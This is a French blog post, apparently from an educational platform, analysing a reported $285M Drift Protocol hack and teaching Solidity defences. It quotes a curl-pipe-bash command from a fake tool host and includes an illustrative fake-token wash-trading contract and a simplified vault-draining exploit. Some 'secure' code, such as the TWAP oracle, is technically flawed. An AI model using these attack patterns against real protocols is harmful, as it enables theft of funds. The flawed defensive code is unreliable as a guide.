Sécurité·10 min de lecture·Par Solingo

Hack Drift Protocol $285M — Comment des Mois de Préparation Se Sont Exécutés en 12 Minutes

Le plus gros exploit DeFi de 2026. Social engineering, faux tokens, manipulation d'oracle, et une clé admin compromise. Décryptage technique complet.

# Hack Drift Protocol $285M — Comment des Mois de Préparation Se Sont Exécutés en 12 Minutes

Le 1er avril 2026, Drift Protocol — un perpetuals DEX sur Solana avec $500M de TVL — a été drainé de $285 millions en 12 minutes.

Ce n'était pas une blague du 1er avril. C'était le plus gros exploit DeFi de 2026, attribué au groupe Lazarus (Corée du Nord).

Voici comment des mois de social engineering ont permis d'exécuter un vol parfait en quelques minutes.

Chronologie de l'Attaque

Phase 1 — Social Engineering (3 mois avant)

Les attaquants ont ciblé les opérateurs de gouvernance de Drift Protocol via :

  • Faux profils LinkedIn (recruteurs crypto, VCs)
  • Phishing via Discord (faux channel de support)
  • Compromission d'un wallet admin via un malware déguisé en outil de trading

Un développeur de Drift a téléchargé un "CLI de monitoring" qui contenait un keylogger.

Leçon : jamais exécuter de binaires non audités sur une machine qui gère des clés admin.

# ❌ Ce que le dev a fait

curl https://fake-drift-tools.com/cli | bash

# ✅ Ce qu'il aurait dû faire

# 1. Vérifier le hash du binaire

# 2. Exécuter dans un environnement isolé (VM, Docker)

# 3. Utiliser un hardware wallet pour les clés admin

Phase 2 — Création du Fake Token (2 semaines avant)

Les attaquants ont créé un token low-cost sur Solana : DRIFT-PERP (nom trompeur pour imiter les tokens de Drift).

Ils ont ensuite fait du wash trading pendant 2 semaines pour :

  • Gonfler artificiellement le prix
  • Créer de la liquidité fictive
  • Faire croire à l'oracle que le token avait de la valeur
  • Sur EVM, ça ressemblerait à ça :

    // Token fake avec supply contrôlée
    

    contract FakeToken is ERC20 {

    address public owner;

    constructor() ERC20("Fake Drift Perp", "DRIFT-PERP") {

    owner = msg.sender;

    _mint(owner, 1_000_000 * 10**18);

    }

    // Fonction pour manipuler le prix via wash trading

    function manipulatePrice(address[] calldata buyers) external {

    for (uint i = 0; i < buyers.length; i++) {

    _transfer(owner, buyers[i], 1000 * 10**18);

    // Les "buyers" sont des wallets contrôlés par l'attaquant

    }

    }

    }

    Phase 3 — Compromission de la Clé Admin (1 semaine avant)

    Grâce au keylogger, les attaquants ont récupéré la seed phrase du wallet admin.

    Ils n'ont pas agi immédiatement. Ils ont attendu le bon moment pour maximiser le vol.

    Leçon : les clés admin doivent être sur hardware wallets (Ledger, Trezor), jamais sur un ordinateur connecté à internet.

    Phase 4 — Exécution (12 minutes)

    Le 1er avril 2026, 3h42 UTC, les attaquants ont :

  • Mis à jour l'oracle pour accepter le fake token DRIFT-PERP
  • Déposé des milliers de fake tokens dans le vault de Drift
  • Retiré $285M en USDC/SOL en utilisant le fake token comme collateral
  • Tout s'est passé en 37 transactions sur 12 minutes.

    Analyse Technique — Les Failles

    1. Key Management Gouvernance

    Drift utilisait un multi-sig 3-of-5 pour les décisions critiques. Mais :

    • 2 des 5 clés étaient stockées sur des hot wallets (ordinateurs connectés)
    • Pas de timelock sur les changements d'oracle

    Un attaquant avec 2 clés pouvait :

    // ❌ Configuration vulnérable (pseudo-code Solidity)
    

    contract DriftGovernance {

    uint256 public constant QUORUM = 3;

    mapping(address => bool) public isAdmin;

    function updateOracle(address newOracle) external {

    require(isAdmin[msg.sender], "Not admin");

    // ❌ Pas de timelock, exécution immédiate

    oracle = newOracle;

    }

    }

    Solution : timelock obligatoire + threshold signatures (MPC)

    // ✅ Configuration sécurisée
    

    contract SecureGovernance {

    uint256 public constant TIMELOCK = 48 hours;

    mapping(bytes32 => uint256) public proposalTimestamp;

    function proposeOracleUpdate(address newOracle) external {

    bytes32 proposalId = keccak256(abi.encode(newOracle));

    proposalTimestamp[proposalId] = block.timestamp;

    emit ProposalCreated(proposalId, newOracle);

    }

    function executeOracleUpdate(address newOracle) external {

    bytes32 proposalId = keccak256(abi.encode(newOracle));

    require(

    block.timestamp >= proposalTimestamp[proposalId] + TIMELOCK,

    "Timelock not expired"

    );

    oracle = newOracle;

    }

    }

    2. Oracle Manipulation

    L'oracle de Drift utilisait un prix spot simple sans TWAP (Time-Weighted Average Price).

    Les attaquants ont pu :

  • Manipuler le prix du fake token pendant 2 semaines
  • Faire croire à l'oracle que DRIFT-PERP valait $100 par token
  • Utiliser ces tokens comme collateral pour retirer des vrais assets
  • Sur EVM, un oracle sécurisé ressemblerait à ça :

    // ❌ Oracle vulnérable (prix spot)
    

    contract InsecureOracle {

    mapping(address => uint256) public prices;

    function getPrice(address token) external view returns (uint256) {

    return prices[token]; // Prix actuel, manipulable

    }

    }

    // ✅ Oracle sécurisé (TWAP)

    contract SecureOracle {

    struct PriceData {

    uint256 cumulativePrice;

    uint256 lastUpdateTime;

    }

    mapping(address => PriceData) public priceData;

    uint256 public constant TWAP_PERIOD = 30 minutes;

    function updatePrice(address token, uint256 price) external {

    PriceData storage data = priceData[token];

    uint256 timeElapsed = block.timestamp - data.lastUpdateTime;

    data.cumulativePrice += price * timeElapsed;

    data.lastUpdateTime = block.timestamp;

    }

    function getPrice(address token) external view returns (uint256) {

    PriceData memory data = priceData[token];

    uint256 timeElapsed = block.timestamp - data.lastUpdateTime;

    // TWAP sur 30 minutes

    return data.cumulativePrice / (timeElapsed + TWAP_PERIOD);

    }

    }

    3. Absence de Circuit Breaker

    Drift n'avait pas de circuit breaker pour bloquer les retraits massifs.

    En 12 minutes, 37 transactions ont drainé $285M sans déclencher d'alerte.

    Solution : rate limiting + circuit breaker

    contract VaultWithCircuitBreaker {
    

    uint256 public totalDeposits;

    uint256 public maxWithdrawalPerBlock = 1_000_000 * 10**6; // 1M USDC

    uint256 public withdrawnThisBlock;

    uint256 public lastBlockNumber;

    function withdraw(uint256 amount) external {

    // Reset le compteur à chaque nouveau bloc

    if (block.number > lastBlockNumber) {

    withdrawnThisBlock = 0;

    lastBlockNumber = block.number;

    }

    // Circuit breaker

    require(

    withdrawnThisBlock + amount <= maxWithdrawalPerBlock,

    "Circuit breaker: withdrawal limit exceeded"

    );

    withdrawnThisBlock += amount;

    // Logic de retrait

    }

    }

    Leçons Pour les Devs Solidity/Rust

    1. Hardware Wallets Obligatoires Pour Admin Keys

    // ✅ Bonne pratique : utiliser Gnosis Safe avec Ledger
    

    // Toutes les clés admin doivent être sur hardware wallets

    // Config exemple :

    // - 3-of-5 multi-sig

    // - 3 clés sur Ledger (cold storage)

    // - 2 clés sur Trezor (backup)

    2. Split Cold/Hot Wallets

    contract TwoTierGovernance {
    

    address public coldWallet; // Pour changements critiques (oracle, withdrawal limits)

    address public hotWallet; // Pour opérations courantes (fee updates)

    modifier onlyCold() {

    require(msg.sender == coldWallet, "Cold wallet only");

    _;

    }

    modifier onlyHot() {

    require(msg.sender == hotWallet, "Hot wallet only");

    _;

    }

    function updateOracle(address newOracle) external onlyCold {

    // Changement critique

    }

    function updateFees(uint256 newFee) external onlyHot {

    // Opération courante

    }

    }

    3. Timelocks Sur Withdrawals

    contract TimelockVault {
    

    struct Withdrawal {

    uint256 amount;

    uint256 unlockTime;

    }

    mapping(address => Withdrawal) public pendingWithdrawals;

    uint256 public constant WITHDRAWAL_DELAY = 24 hours;

    function requestWithdrawal(uint256 amount) external {

    pendingWithdrawals[msg.sender] = Withdrawal({

    amount: amount,

    unlockTime: block.timestamp + WITHDRAWAL_DELAY

    });

    emit WithdrawalRequested(msg.sender, amount);

    }

    function executeWithdrawal() external {

    Withdrawal memory w = pendingWithdrawals[msg.sender];

    require(block.timestamp >= w.unlockTime, "Timelock not expired");

    delete pendingWithdrawals[msg.sender];

    // Transfer logic

    }

    }

    4. Monitoring Volume

    contract MonitoredVault {
    

    event LargeWithdrawal(address indexed user, uint256 amount);

    uint256 public constant ALERT_THRESHOLD = 100_000 * 10**6; // 100K USDC

    function withdraw(uint256 amount) external {

    if (amount > ALERT_THRESHOLD) {

    emit LargeWithdrawal(msg.sender, amount);

    // Pause les retraits supplémentaires pendant 1 heure

    pauseWithdrawals(1 hours);

    }

    // Logic

    }

    }

    Pattern de Drainage de Vault

    Voici comment un attaquant draine un vault vulnérable :

    // ❌ Vault vulnérable
    

    contract VulnerableVault {

    mapping(address => uint256) public collateral;

    IERC20 public immutable usdc;

    IOracle public oracle;

    function deposit(address token, uint256 amount) external {

    IERC20(token).transferFrom(msg.sender, address(this), amount);

    collateral[msg.sender] += amount;

    }

    function withdraw(uint256 amount) external {

    uint256 collateralValue = oracle.getPrice(address(token)) * collateral[msg.sender];

    require(collateralValue >= amount, "Insufficient collateral");

    usdc.transfer(msg.sender, amount);

    }

    }

    // 🔥 Exploit

    contract Exploit {

    VulnerableVault public vault;

    FakeToken public fake;

    function drain() external {

    // 1. Créer un fake token

    fake = new FakeToken();

    // 2. Manipuler l'oracle (si admin compromis)

    vault.oracle().setPrice(address(fake), 1000 * 10**18);

    // 3. Déposer des fake tokens

    fake.approve(address(vault), type(uint256).max);

    vault.deposit(address(fake), 1_000_000 * 10**18);

    // 4. Retirer des vrais USDC

    vault.withdraw(vault.usdc().balanceOf(address(vault)));

    }

    }

    Comment timelock + rate limit l'auraient bloqué :

    // ✅ Vault sécurisé
    

    contract SecureVault {

    mapping(address => bool) public whitelistedTokens;

    uint256 public maxWithdrawalPerHour = 1_000_000 * 10**6;

    mapping(bytes32 => uint256) public proposalTimestamp;

    function proposeTokenWhitelist(address token) external onlyAdmin {

    bytes32 proposalId = keccak256(abi.encode(token));

    proposalTimestamp[proposalId] = block.timestamp;

    }

    function executeTokenWhitelist(address token) external onlyAdmin {

    bytes32 proposalId = keccak256(abi.encode(token));

    require(

    block.timestamp >= proposalTimestamp[proposalId] + 48 hours,

    "Timelock not expired"

    );

    whitelistedTokens[token] = true;

    }

    function deposit(address token, uint256 amount) external {

    require(whitelistedTokens[token], "Token not whitelisted");

    // Logic

    }

    }

    Avec cette config, l'attaquant aurait dû :

  • Proposer le fake token → alerte publique immédiate
  • Attendre 48h → temps pour l'équipe de réagir
  • Exécuter le whitelist → annulé par la communauté
  • Conclusion — La Sécurité Est Continue

    Le hack Drift Protocol montre que la sécurité n'est pas un audit one-shot.

    Les attaquants ont passé 3 mois à préparer l'attaque. Les défenses doivent être continues :

    Hardware wallets pour toutes les clés admin

    Timelock sur tous les changements critiques

    TWAP oracles (jamais de prix spot)

    Circuit breakers sur les retraits

    Monitoring en temps réel

    Bug bounties actifs (Immunefi, Code4rena)

    À vous de jouer.

    ---

    Ressources :

    Prêt à mettre en pratique ?

    Applique ces concepts avec des exercices interactifs sur Solingo.

    Commencer gratuitement